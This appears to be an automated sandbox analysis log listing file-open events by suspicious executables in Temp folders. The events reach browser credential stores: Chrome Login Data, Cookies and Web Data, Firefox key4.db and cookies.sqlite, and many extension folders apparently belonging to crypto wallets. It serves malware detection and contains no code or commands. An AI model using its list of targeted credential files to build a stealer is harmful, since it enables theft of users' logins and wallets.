Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\Default\AppData\Roaming\8pecxstudios\Cyberfox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\Public\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed
